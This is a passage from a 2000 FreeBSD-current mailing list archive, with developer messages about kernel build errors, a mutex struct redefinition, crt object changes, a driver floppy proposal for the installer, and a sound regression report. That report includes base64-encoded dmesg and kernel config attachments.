From owner-freebsd-current Sun Oct 29 1: 6:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from darren2.lnk.telstra.net (darren2.lnk.telstra.net [139.130.53.33]) by hub.freebsd.org (Postfix) with ESMTP id B340C37B479 for ; Sun, 29 Oct 2000 01:06:43 -0700 (PDT) Received: (from root@localhost) by darren2.lnk.telstra.net (8.11.0/8.11.0) id e9T86gQ03204 for ; Sun, 29 Oct 2000 19:06:42 +1100 (EST) From: Darren Reed Message-Id: <200010290806.TAA23725@avalon.reed.wattle.id.au> Subject: Building -current kernel on ref5 broken ? To: current@freebsd.org Date: Sun, 29 Oct 2000 19:06:13 +1100 (EST) X-Mailer: ELM [version 2.4ME+ PL37 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Apart from the config(8) issue, I see this building GENERIC: cc -c -O -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I../.. -I/usr/include -I../../contrib/dev/acpica/Subsystem/Include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 ../../pci/pci.c ../../pci/pci.c: In function `pci_add_map': ../../pci/pci.c:1008: `cfg' undeclared (first use in this function) ../../pci/pci.c:1008: (Each undeclared identifier is reported only once ../../pci/pci.c:1008: for each function it appears in.) ../../pci/pci.c:1008: too few arguments to function `pci_porten' ../../pci/pci.c:1010: too few arguments to function `pci_memen' ../../pci/pci.c:953: warning: unused variable `cmd' *** Error code 1 Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 1:19:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from darren2.lnk.telstra.net (darren2.lnk.telstra.net [139.130.53.33]) by hub.freebsd.org (Postfix) with ESMTP id 1A85E37B4C5 for ; Sun, 29 Oct 2000 01:19:15 -0700 (PDT) Received: (from root@localhost) by darren2.lnk.telstra.net (8.11.0/8.11.0) id e9T8JC903229 for ; Sun, 29 Oct 2000 19:19:12 +1100 (EST) From: Darren Reed Message-Id: <200010290818.TAA23760@avalon.reed.wattle.id.au> Subject: Multiply defined 'struct mtx' ? To: current@freebsd.org Date: Sun, 29 Oct 2000 19:18:43 +1100 (EST) X-Mailer: ELM [version 2.4ME+ PL37 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG IP Filter doesn't introduce a "struct mtx" which suggests something isn't protecting against multiple inclusions or similar ? Darren (ref5:~/freebsd/src/usr.sbin/ipftest) make Warning: Object directory not changed from original /d/home/darrenr/freebsd/src/usr.sbin/ipftest cc -O -pipe -DIPL_NAME=\"/dev/ipl\" -I- -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../contrib/ipfilter -c /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet/fil.c In file included from /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/sys/mbuf.h:40, from /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet/fil.c:48: /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/sys/mutex.h:110: redefinition of `struct mtx' *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 1:59:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from linux.ssc.nsu.ru (linux.ssc.nsu.ru [193.124.219.91]) by hub.freebsd.org (Postfix) with SMTP id 3AA5537B479 for ; Sun, 29 Oct 2000 01:59:35 -0700 (PDT) Received: (qmail 25803 invoked from network); 29 Oct 2000 08:52:22 -0000 Received: from inet.ssc.nsu.ru (62.76.110.12) by hub.freebsd.org with SMTP; 29 Oct 2000 08:52:22 -0000 Received: from localhost (danfe@localhost) by inet.ssc.nsu.ru (8.9.3/8.9.3) with ESMTP id OAA13911 for ; Sun, 29 Oct 2000 14:50:26 +0600 Date: Sun, 29 Oct 2000 14:50:26 +0600 (NOVT) From: Alexey Dokuchaev Cc: current@FreeBSD.ORG Subject: Re: ** HEADS UP ** changes to /usr/lib/crt*.o In-Reply-To: <20001028124804.A69595@dragon.nuxi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! On Sat, 28 Oct 2000, David O'Brien wrote: > I am switching us from using or native crt{begin,end}.c to GCC's > crtstuff.c in the building of /usr/lib/crt{begin,end}.o. > > Testing a new world with this change not show any problems. > HOWEVER, I have only done cursory testing with already installed ports > (shared binaries and libs) and our current set of Packages. (especially > since ``pkg_add -r'' is broken and no one will take responsibility for > it) > > If you find any problems, I'd like to know ASAP as I hope to MFC this for > 4.2-RELEASE. What caused such a change? I mean, what the purpose of it, what set of problems should it (probably?) solve? Thanks. -- WADR, DAN Fe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 1:40:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from serio.al.rim.or.jp (serio.al.rim.or.jp [202.247.191.123]) by hub.freebsd.org (Postfix) with ESMTP id 9427037B479; Sun, 29 Oct 2000 01:40:20 -0800 (PST) Received: from mail2.rim.or.jp by serio.al.rim.or.jp (3.7W/HMX-13) id SAA21063; Sun, 29 Oct 2000 18:40:19 +0900 (JST) Received: from localhost.FromTo.Cc (shell [202.247.191.98]) by mail2.rim.or.jp (8.9.3/3.7W) id SAA10216; Sun, 29 Oct 2000 18:40:18 +0900 (JST) Date: Sun, 29 Oct 2000 18:40:18 +0900 Message-ID: <86em10t27x.wl@ringo.FromTo.Cc> From: Tatsumi Hosokawa Cc: hosokawa@FreeBSD.org To: current@FreeBSD.org Subject: "Driver Floppy" implementation (Re: "make release" breakage - dokern.sh patch 2) In-Reply-To: In your message of "Wed, 25 Oct 2000 19:49:08 +0900" <86bsw9i4bf.wl@ringo.FromTo.Cc> References: <20001024143644.A52958@bsdwins.com> <20001024121509.I17729@dragon.nuxi.com> <86zojudnr5.wl@tkc.att.ne.jp> <86d7gpi4uh.wl@ringo.FromTo.Cc> <86bsw9i4bf.wl@ringo.FromTo.Cc> User-Agent: Wanderlust/1.1.0 (Overjoyed) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 9) (Canyonlands) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! In "make release breakage" discussion, I said that I'll write a patch to load kernel module from sysinstall to get more free space in the first floppy. This is my implementation. I'll commit this patch to -current if there's no objection. I moved PCI/PCCARD/USB if_xx.ko driver to mfsroot.flp, and I've got 100KB of free blocks in the first floppy. If we move more drivers to mfsroot.flp or coming drivers.flp, we can get not only free blocks in the first floppy, but also more installation devices. I've put the patche and the binary images of *.flp at, http://people.freebsd.org/~hosokawa/driver-floppy/ I've tested these floppies on my machine with Intel PRO/100+ fxp network card. Sysinstall loads if_fxp.ko from mfsroot.flp, and listed it as network installation media (Alt-F2 shows debug messages). -- Tatsumi Hosokawa http://www.sm.rim.or.jp/~hosokawa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 1:49: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by hub.freebsd.org (Postfix) with ESMTP id A0CB337B479 for ; Sun, 29 Oct 2000 01:48:59 -0800 (PST) Received: from fmrl02.sul.t-online.de by mailout02.sul.t-online.com with smtp id 13pp5G-0003XN-00; Sun, 29 Oct 2000 10:48:58 +0100 Received: from pc-micha.mc.hp.com (320021761316-0001@[62.158.19.204]) by fmrl02.sul.t-online.com with esmtp id 13pp50-18AUlMC; Sun, 29 Oct 2000 10:48:42 +0100 Received: from localhost (michaelc@localhost) by pc-micha.mc.hp.com (8.11.1/8.11.0) with ESMTP id e9T9mC535780 for ; Sun, 29 Oct 2000 10:48:15 +0100 (MET) (envelope-from michaelc@pc-micha.mc.hp.com) Date: Sun, 29 Oct 2000 10:48:12 +0100 (MET) From: Michael Class Reply-To: Michael Class To: current@freebsd.org Subject: No sound in current from ES1370 Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1491137821-972812892=:3466" X-Sender: 320021761316-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1491137821-972812892=:3466 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, recent 5.0-current versions do not generate sound any more on my Soundblaster PCI128 (Ensoniq 1370-Chip). On a kernel build from sources from Oct. 17th everything was o.k. So I guess it must be the changes that went in on Oct. 26th. I will try to backout these. Anyways if someone wants to look into this, I have enclosed the kernel-config-file and the dmesg output. TIA Michael ------------------------------------------------------------------------- michael class, viktor-renner str. 39, 72074 tuebingen, frg E-Mail: michael_class@gmx.net Phone: +49 7031 14-3707 (work) +49 7071 81950 (private) ------------------------------------------------------------------------- --0-1491137821-972812892=:3466 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="dmesg.out" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: dmesg Content-Disposition: attachment; filename="dmesg.out" Q29weXJpZ2h0IChjKSAxOTkyLTIwMDAgVGhlIEZyZWVCU0QgUHJvamVjdC4N CkNvcHlyaWdodCAoYykgMTk3OSwgMTk4MCwgMTk4MywgMTk4NiwgMTk4OCwg MTk4OSwgMTk5MSwgMTk5MiwgMTk5MywgMTk5NA0KCVRoZSBSZWdlbnRzIG9m IHRoZSBVbml2ZXJzaXR5IG9mIENhbGlmb3JuaWEuIEFsbCByaWdodHMgcmVz ZXJ2ZWQuDQpGcmVlQlNEIDUuMC1DVVJSRU5UICMwOiBTdW4gT2N0IDI5IDEw OjM1OjQ0IE1FVCAyMDAwDQogICAgbWljaGFlbGNAcGMtbWljaGEubWMuaHAu Y29tOi91c3Ivc3JjL3N5cy9jb21waWxlL01DU01QDQpUaW1lY291bnRlciAi aTgyNTQiICBmcmVxdWVuY3kgMTE5MzE4MiBIeg0KQ1BVOiBQZW50aXVtIElJ L1BlbnRpdW0gSUkgWGVvbi9DZWxlcm9uICgzNDkuMDctTUh6IDY4Ni1jbGFz cyBDUFUpDQogIE9yaWdpbiA9ICJHZW51aW5lSW50ZWwiICBJZCA9IDB4NjUy ICBTdGVwcGluZyA9IDINCiAgRmVhdHVyZXM9MHgxODNmYmZmPEZQVSxWTUUs REUsUFNFLFRTQyxNU1IsUEFFLE1DRSxDWDgsQVBJQyxTRVAsTVRSUixQR0Us TUNBLENNT1YsUEFULFBTRTM2LE1NWCxGWFNSPg0KcmVhbCBtZW1vcnkgID0g MjY4MzY5OTIwICgyNjIwODBLIGJ5dGVzKQ0KYXZhaWwgbWVtb3J5ID0gMjU2 MzI3NjgwICgyNTAzMjBLIGJ5dGVzKQ0KUHJvZ3JhbW1pbmcgMjQgcGlucyBp biBJT0FQSUMgIzANCklPQVBJQyAjMCBpbnRwaW4gMiAtPiBpcnEgMA0KRnJl ZUJTRC9TTVA6IE11bHRpcHJvY2Vzc29yIG1vdGhlcmJvYXJkDQogY3B1MCAo QlNQKTogYXBpYyBpZDogIDAsIHZlcnNpb246IDB4MDAwNDAwMTEsIGF0IDB4 ZmVlMDAwMDANCiBjcHUxIChBUCk6ICBhcGljIGlkOiAgMSwgdmVyc2lvbjog MHgwMDA0MDAxMSwgYXQgMHhmZWUwMDAwMA0KIGlvMCAoQVBJQyk6IGFwaWMg aWQ6ICAyLCB2ZXJzaW9uOiAweDAwMTcwMDExLCBhdCAweGZlYzAwMDAwDQpQ cmVsb2FkZWQgZWxmIGtlcm5lbCAia2VybmVsIiBhdCAweGMwNGE1MDAwLg0K UGVudGl1bSBQcm8gTVRSUiBzdXBwb3J0IGVuYWJsZWQNCm1kMDogTWFsbG9j IGRpc2sNClVzaW5nICRQSVIgdGFibGUsIDcgZW50cmllcyBhdCAweGMwMGZk ZTEwDQpucHgwOiA8bWF0aCBwcm9jZXNzb3I+IG9uIG1vdGhlcmJvYXJkDQpu cHgwOiBJTlQgMTYgaW50ZXJmYWNlDQpwY2liMDogPEludGVsIDgyNDQzQlgg KDQ0MCBCWCkgaG9zdCB0byBQQ0kgYnJpZGdlPiBhdCBwY2lidXMgMCBvbiBt b3RoZXJib2FyZA0KcGNpMDogPFBDSSBidXM+IG9uIHBjaWIwDQpwY2liMTog PEludGVsIDgyNDQzQlggKDQ0MCBCWCkgUENJLVBDSSAoQUdQKSBicmlkZ2U+ IGF0IGRldmljZSAxLjAgb24gcGNpMA0KcGNpMTogPFBDSSBidXM+IG9uIHBj aWIxDQppc2FiMDogPEludGVsIDgyMzcxQUIgUENJIHRvIElTQSBicmlkZ2U+ IGF0IGRldmljZSA3LjAgb24gcGNpMA0KaXNhMDogPElTQSBidXM+IG9uIGlz YWIwDQphdGFwY2kwOiA8SW50ZWwgUElJWDQgQVRBMzMgY29udHJvbGxlcj4g cG9ydCAweGYwMDAtMHhmMDBmIGF0IGRldmljZSA3LjEgb24gcGNpMA0KYXRh MDogYXQgMHgxZjAgaXJxIDE0IG9uIGF0YXBjaTANCmF0YTE6IGF0IDB4MTcw IGlycSAxNSBvbiBhdGFwY2kwDQp1aGNpMDogPEludGVsIDgyMzcxQUIvRUIg KFBJSVg0KSBVU0IgY29udHJvbGxlcj4gcG9ydCAweGQwMDAtMHhkMDFmIGly cSAxMSBhdCBkZXZpY2UgNy4yIG9uIHBjaTANCnVzYjA6IDxJbnRlbCA4MjM3 MUFCL0VCIChQSUlYNCkgVVNCIGNvbnRyb2xsZXI+IG9uIHVoY2kwDQp1c2Iw OiBVU0IgcmV2aXNpb24gMS4wDQp1aHViMDogSW50ZWwgVUhDSSByb290IGh1 YiwgY2xhc3MgOS8wLCByZXYgMS4wMC8xLjAwLCBhZGRyIDENCnVodWIwOiAy IHBvcnRzIHdpdGggMiByZW1vdmFibGUsIHNlbGYgcG93ZXJlZA0KaW50cG0w OiA8SW50ZWwgODIzNzFBQiBQb3dlciBtYW5hZ2VtZW50IGNvbnRyb2xsZXI+ IHBvcnQgMHg1MDAwLTB4NTAwZiBpcnEgOSBhdCBkZXZpY2UgNy4zIG9uIHBj aTANCmludHBtMDogSS9PIG1hcHBlZCA1MDAwDQppbnRwbTA6IGludHIgSVJR IDkgZW5hYmxlZCByZXZpc2lvbiAwDQpzbWJ1czA6IDxTeXN0ZW0gTWFuYWdl bWVudCBCdXM+IG9uIGludHNtYjANCnNtYjA6IDxTTUJ1cyBnZW5lcmFsIHB1 cnBvc2UgSS9PPiBvbiBzbWJ1czANCmludHBtMDogUE0gSS9PIG1hcHBlZCA0 MDAwIA0KcGNpMDogPE1hdHJveCBNR0EgTWlsbGVubml1bSBJSSAyMTY0VyBn cmFwaGljcyBhY2NlbGVyYXRvcj4gYXQgOC4wIGlycSAxNg0KcGNtMDogPEF1 ZGlvUENJIEVTMTM3MD4gcG9ydCAweGQ0MDAtMHhkNDNmIGlycSAxNyBhdCBk ZXZpY2UgOS4wIG9uIHBjaTANCnhsMDogPDNDb20gM2M5MDVCLVRYIEZhc3Qg RXRoZXJsaW5rIFhMPiBwb3J0IDB4ZDgwMC0weGQ4N2YgbWVtIDB4ZTIwMDMw MDAtMHhlMjAwMzA3ZiBpcnEgMTggYXQgZGV2aWNlIDEwLjAgb24gcGNpMA0K eGwwOiBFdGhlcm5ldCBhZGRyZXNzOiAwMDoxMDo1YTpkNzpkZDo5Yw0KbWlp YnVzMDogPE1JSSBidXM+IG9uIHhsMA0KeGxwaHkwOiA8M0NvbSBpbnRlcm5h bCBtZWRpYSBpbnRlcmZhY2U+IG9uIG1paWJ1czANCnhscGh5MDogIDEwYmFz ZVQsIDEwYmFzZVQtRkRYLCAxMDBiYXNlVFgsIDEwMGJhc2VUWC1GRFgsIGF1 dG8NCmJrdHIwOiA8QnJvb2tUcmVlIDg3OD4gbWVtIDB4ZTIwMDAwMDAtMHhl MjAwMGZmZiBpcnEgMTkgYXQgZGV2aWNlIDExLjAgb24gcGNpMA0KYnRpMmMw OiA8YnQ4NDggSGFyZC9Tb2Z0IEkyQyBjb250cm9sbGVyPg0KaWljYmIwOiA8 STJDIGdlbmVyaWMgYml0LWJhbmdpbmcgZHJpdmVyPiBvbiBidGkyYzANCmlp Y2J1czA6IDxQaGlsaXBzIEkyQyBidXM+IG9uIGlpY2JiMCBtYXN0ZXItb25s eQ0Kc21idXMxOiA8U3lzdGVtIE1hbmFnZW1lbnQgQnVzPiBvbiBidGkyYzAN CnNtYjE6IDxTTUJ1cyBnZW5lcmFsIHB1cnBvc2UgSS9PPiBvbiBzbWJ1czEN CmJrdHIwOiBIYXVwcGF1Z2UgTW9kZWwgNjEzNDQgRDEyMQ0KYmt0cjA6IERl dGVjdGVkIGEgTVNQMzQxMEQtQjQgYXQgMHg4MA0KYmt0cjA6IEhhdXBwYXVn ZSBXaW5DYXN0L1RWLCBQaGlsaXBzIEZSMTIxNiBQQUwgRk0gdHVuZXIsIG1z cDM0MDBjIHN0ZXJlbywgcmVtb3RlIGNvbnRyb2wuDQpwY2kwOiA8dW5rbm93 biBjYXJkPiAodmVuZG9yPTB4MTA5ZSwgZGV2PTB4MDg3OCkgYXQgMTEuMSBp cnEgMTkNCmFoYzA6IDxBZGFwdGVjIGFpYzc4OTUgVWx0cmEgU0NTSSBhZGFw dGVyPiBwb3J0IDB4ZGMwMC0weGRjZmYgbWVtIDB4ZTIwMDIwMDAtMHhlMjAw MmZmZiBpcnEgMTYgYXQgZGV2aWNlIDEyLjAgb24gcGNpMA0KYWljNzg5NUM6 IFdpZGUgQ2hhbm5lbCBBLCBTQ1NJIElkPTcsIDMyLzI1NSBTQ0JzDQphaGMx OiA8QWRhcHRlYyBhaWM3ODk1IFVsdHJhIFNDU0kgYWRhcHRlcj4gcG9ydCAw eGUwMDAtMHhlMGZmIG1lbSAweGUyMDA0MDAwLTB4ZTIwMDRmZmYgaXJxIDE2 IGF0IGRldmljZSAxMi4xIG9uIHBjaTANCmFpYzc4OTVDOiBXaWRlIENoYW5u ZWwgQiwgU0NTSSBJZD03LCAzMi8yNTUgU0NCcw0KZmRjMDogPE5FQyA3MjA2 NUIgb3IgY2xvbmU+IGF0IHBvcnQgMHgzZjAtMHgzZjUsMHgzZjcgaXJxIDYg ZHJxIDIgb24gaXNhMA0KZmRjMDogRklGTyBlbmFibGVkLCA4IGJ5dGVzIHRo cmVzaG9sZA0KZmQwOiA8MTQ0MC1LQiAzLjUiIGRyaXZlPiBvbiBmZGMwIGRy aXZlIDANCmF0a2JkYzA6IDxLZXlib2FyZCBjb250cm9sbGVyIChpODA0Mik+ IGF0IHBvcnQgMHg2MCwweDY0IG9uIGlzYTANCmF0a2JkMDogPEFUIEtleWJv YXJkPiBmbGFncyAweDEgaXJxIDEgb24gYXRrYmRjMA0Ka2JkMCBhdCBhdGti ZDANCnBzbTA6IDxQUy8yIE1vdXNlPiBpcnEgMTIgb24gYXRrYmRjMA0KcHNt MDogbW9kZWwgR2VuZXJpYyBQUy8yIG1vdXNlLCBkZXZpY2UgSUQgMA0Kdmdh MDogPEdlbmVyaWMgSVNBIFZHQT4gYXQgcG9ydCAweDNjMC0weDNkZiBpb21l bSAweGEwMDAwLTB4YmZmZmYgb24gaXNhMA0Kc2MwOiA8U3lzdGVtIGNvbnNv bGU+IG9uIGlzYTANCnNjMDogVkdBIDwxNiB2aXJ0dWFsIGNvbnNvbGVzLCBm bGFncz0weDIwMD4NCnNpbzAgYXQgcG9ydCAweDNmOC0weDNmZiBpcnEgNCBm bGFncyAweDEwIG9uIGlzYTANCnNpbzA6IHR5cGUgMTY1NTBBDQpzaW8xIGF0 IHBvcnQgMHgyZjgtMHgyZmYgaXJxIDMgb24gaXNhMA0Kc2lvMTogdHlwZSAx NjU1MEENCnBwYzA6IDxQYXJhbGxlbCBwb3J0PiBhdCBwb3J0IDB4Mzc4LTB4 MzdmIGlycSA3IG9uIGlzYTANCnBwYzA6IEdlbmVyaWMgY2hpcHNldCAoTklC QkxFLW9ubHkpIGluIENPTVBBVElCTEUgbW9kZQ0KbHB0MDogPFByaW50ZXI+ IG9uIHBwYnVzMA0KbHB0MDogSW50ZXJydXB0LWRyaXZlbiBwb3J0DQp1bmtu b3duOiA8UE5QMDMwMz4gY2FuJ3QgYXNzaWduIHJlc291cmNlcw0KYXRzcGVh a2VyMDogPEFUIHNwZWFrZXI+IGF0IHBvcnQgMHg2MSBvbiBpc2EwDQp1bmtu b3duOiA8UE5QMGYxMz4gY2FuJ3QgYXNzaWduIHJlc291cmNlcw0KdW5rbm93 bjogPFBOUDA1MDE+IGNhbid0IGFzc2lnbiByZXNvdXJjZXMNCnVua25vd246 IDxQTlAwNzAwPiBjYW4ndCBhc3NpZ24gcmVzb3VyY2VzDQp1bmtub3duOiA8 UE5QMDQwMD4gY2FuJ3QgYXNzaWduIHJlc291cmNlcw0KdW5rbm93bjogPFBO UDA1MDE+IGNhbid0IGFzc2lnbiByZXNvdXJjZXMNCkFQSUNfSU86IFRlc3Rp bmcgODI1NCBpbnRlcnJ1cHQgZGVsaXZlcnkNCkFQSUNfSU86IHJvdXRpbmcg ODI1NCB2aWEgSU9BUElDICMwIGludHBpbiAyDQpJUCBwYWNrZXQgZmlsdGVy aW5nIGluaXRpYWxpemVkLCBkaXZlcnQgZW5hYmxlZCwgcnVsZS1iYXNlZCBm b3J3YXJkaW5nIGVuYWJsZWQsIGRlZmF1bHQgdG8gYWNjZXB0LCB1bmxpbWl0 ZWQgbG9nZ2luZw0KYWQwOiAzMjI1M01CIDxJQk0tRFBUQS0zNzM0MjA+IFs2 NTUzMS8xNi82M10gYXQgYXRhMC1tYXN0ZXIgdGFnZ2VkIFVETUEzMw0KYWQx OiAzMjI1M01CIDxJQk0tRFBUQS0zNzM0MjA+IFs2NTUzMS8xNi82M10gYXQg YXRhMS1tYXN0ZXIgdGFnZ2VkIFVETUEzMw0KV2FpdGluZyAxMCBzZWNvbmRz IGZvciBTQ1NJIGRldmljZXMgdG8gc2V0dGxlDQp2aW51bTogbG9hZGVkDQpN b3VudGluZyByb290IGZyb20gdWZzOi9kZXYvYWQwczFhDQpkYTAgYXQgYWhj MSBidXMgMCB0YXJnZXQgMCBsdW4gMA0KZGEwOiA8TUlDUk9QIDMzOTFXUyBY NTAyPiBGaXhlZCBEaXJlY3QgQWNjZXNzIFNDU0ktMiBkZXZpY2UgDQpkYTA6 IDQwLjAwME1CL3MgdHJhbnNmZXJzICgyMC4wMDBNSHosIG9mZnNldCA4LCAx NmJpdCksIFRhZ2dlZCBRdWV1ZWluZyBFbmFibGVkDQpkYTA6IDg2ODFNQiAo MTc3ODAwNTggNTEyIGJ5dGUgc2VjdG9yczogMjU1SCA2M1MvVCAxMTA2QykN CmNkMCBhdCBhaGMwIGJ1cyAwIHRhcmdldCAzIGx1biAwDQpjZDA6IDxZQU1B SEEgQ1JXNDQxNlMgMS4waD4gUmVtb3ZhYmxlIENELVJPTSBTQ1NJLTIgZGV2 aWNlIA0KY2QwOiA4LjMzM01CL3MgdHJhbnNmZXJzICg4LjMzM01Ieiwgb2Zm c2V0IDE1KQ0KY2QwOiBBdHRlbXB0IHRvIHF1ZXJ5IGRldmljZSBzaXplIGZh aWxlZDogTk9UIFJFQURZLCBNZWRpdW0gbm90IHByZXNlbnQgLSB0cmF5IGNs b3NlZA0KU01QOiBBUCBDUFUgIzEgTGF1bmNoZWQhDQptZDE6IE1hbGxvYyBk aXNrDQp2aW51bTogcmVhZGluZyBjb25maWd1cmF0aW9uIGZyb20gL2Rldi9h ZDFzMWgNCnZpbnVtOiB1cGRhdGluZyBjb25maWd1cmF0aW9uIGZyb20gL2Rl di9hZDBzMWgNCg== --0-1491137821-972812892=:3466 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=MCSMP Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: kernel-config Content-Disposition: attachment; filename=MCSMP Iw0KIyBTTVAtR0VORVJJQyAtLSBTbXAgbWFjaGluZSB3aXRoIFdEL0FIeC9O Q1IvQlR4IGZhbWlseSBkaXNrcw0KIw0KIyBGb3IgbW9yZSBpbmZvcm1hdGlv biByZWFkIHRoZSBoYW5kYm9vayBwYXJ0IFN5c3RlbSBBZG1pbmlzdHJhdGlv biAtPiANCiMgQ29uZmlndXJpbmcgdGhlIEZyZWVCU0QgS2VybmVsIC0+IFRo ZSBDb25maWd1cmF0aW9uIEZpbGUuIA0KIyBUaGUgaGFuZGJvb2sgaXMgYXZh aWxhYmxlIGluIC91c3Ivc2hhcmUvZG9jL2hhbmRib29rIG9yIG9ubGluZSBh cw0KIyBsYXRlc3QgdmVyc2lvbiBmcm9tIHRoZSBGcmVlQlNEIFdvcmxkIFdp ZGUgV2ViIHNlcnZlciANCiMgPFVSTDpodHRwOi8vd3d3LkZyZWVCU0QuT1JH Lz4NCiMNCiMgQW4gZXhoYXVzdGl2ZSBsaXN0IG9mIG9wdGlvbnMgYW5kIG1v cmUgZGV0YWlsZWQgZXhwbGFuYXRpb25zIG9mIHRoZSANCiMgZGV2aWNlIGxp bmVzIGlzIHByZXNlbnQgaW4gdGhlIC4vTElOVCBjb25maWd1cmF0aW9uIGZp bGUuIElmIHlvdSBhcmUgDQojIGluIGRvdWJ0IGFzIHRvIHRoZSBwdXJwb3Nl IG9yIG5lY2Vzc2l0eSBvZiBhIGxpbmUsIGNoZWNrIGZpcnN0IGluIExJTlQu DQojDQojCSRJZDogU01QLUdFTkVSSUMsdiAxLjIwIDE5OTgvMTAvMjIgMTM6 NDk6NTEgYmRlIEV4cCAkDQoNCm1hY2hpbmUJCWkzODYNCmNwdQkJSTY4Nl9D UFUNCmlkZW50CQlNQ1NNUA0KbWF4dXNlcnMJNjQNCg0KaGludHMgICAgICAg ICAgICJNQ1NNUC5oaW50cyIgICAgICAgICAjRGVmYXVsdCBwbGFjZXMgdG8g bG9vayBmb3IgZGV2aWNlcy4NCg0KbWFrZW9wdGlvbnMgICAgREVCVUc9LWcg ICAgICAgICAgICAgICAgI0J1aWxkIGtlcm5lbCB3aXRoIGdkYigxKSBkZWJ1 ZyBzeW1ib2xzDQoNCiMgQ3JlYXRlIGEgU01QIGNhcGFibGUga2VybmVsICht YW5kYXRvcnkgb3B0aW9ucyk6DQpvcHRpb25zCQlTTVAJCQkjIFN5bW1ldHJp YyBNdWx0aVByb2Nlc3NvciBLZXJuZWwNCm9wdGlvbnMJCUFQSUNfSU8JCQkj IFN5bW1ldHJpYyAoQVBJQykgSS9PDQoNCiMgTGV0cyBhbHdheXMgZW5hYmxl IHRoZSBrZXJuZWwgZGVidWdnZXIgZm9yIFNNUC4NCm9wdGlvbnMJCUREQg0K DQojIFNNUCBzaG91bGRuJ3QgbmVlZCB4ODcgZW11bGF0aW9uLCBkaXNhYmxl IGJ5IGRlZmF1bHQuDQojb3B0aW9ucwkJTUFUSF9FTVVMQVRFCQkjU3VwcG9y dCBmb3IgeDg3IGVtdWxhdGlvbg0KDQpvcHRpb25zCQlJTkVUCQkJI0ludGVy TkVUd29ya2luZw0KI29wdGlvbnMJSU5FVDYJCQkjSW50ZXJORVR3b3JraW5n DQojb3B0aW9ucyAgICAgICAgSVBTRUMgICAgICAgICAgICAgICAgICAgI0lQ IHNlY3VyaXR5DQojb3B0aW9ucyAgICAgICAgSVBTRUNfRVNQICAgICAgICAg ICAgICAgI0lQIHNlY3VyaXR5IChjcnlwdG87IGRlZmluZSB3LyBJUFNFQykN CiNvcHRpb25zICAgICAgICBJUFNFQ19ERUJVRyAgICAgICAgICAgICAjZGVi dWcgZm9yIElQIHNlY3VyaXR5DQpvcHRpb25zCQlGRlMJCQkjQmVya2VsZXkg RmFzdCBGaWxlc3lzdGVtDQpvcHRpb25zCQlGRlNfUk9PVAkJI0ZGUyB1c2Fi bGUgYXMgcm9vdCBkZXZpY2UgW2tlZXAgdGhpcyFdDQpvcHRpb25zCQlNRlMJ CQkjTWVtb3J5IEZpbGVzeXN0ZW0NCm9wdGlvbnMgCU1EX1JPT1QgICAgICAg ICAgICAgICAgICNNRCBpcyBhIHBvdGVudGlhbCByb290IGRldmljZQ0Kb3B0 aW9ucwkJTkZTCQkJI05ldHdvcmsgRmlsZXN5c3RlbQ0Kb3B0aW9ucwkJTkZT X1JPT1QJCSNORlMgdXNhYmxlIGFzIHJvb3QgZGV2aWNlLCAiTkZTIiByZXEn ZWQNCm9wdGlvbnMJCU1TRE9TRlMJCQkjTVNET1MgRmlsZXN5c3RlbQ0Kb3B0 aW9ucwkJQ0Q5NjYwCQkJI0lTTyA5NjYwIEZpbGVzeXN0ZW0NCm9wdGlvbnMJ CUNEOTY2MF9ST09UCQkjQ0QtUk9NIHVzYWJsZSBhcyByb290LiAiQ0Q5NjYw 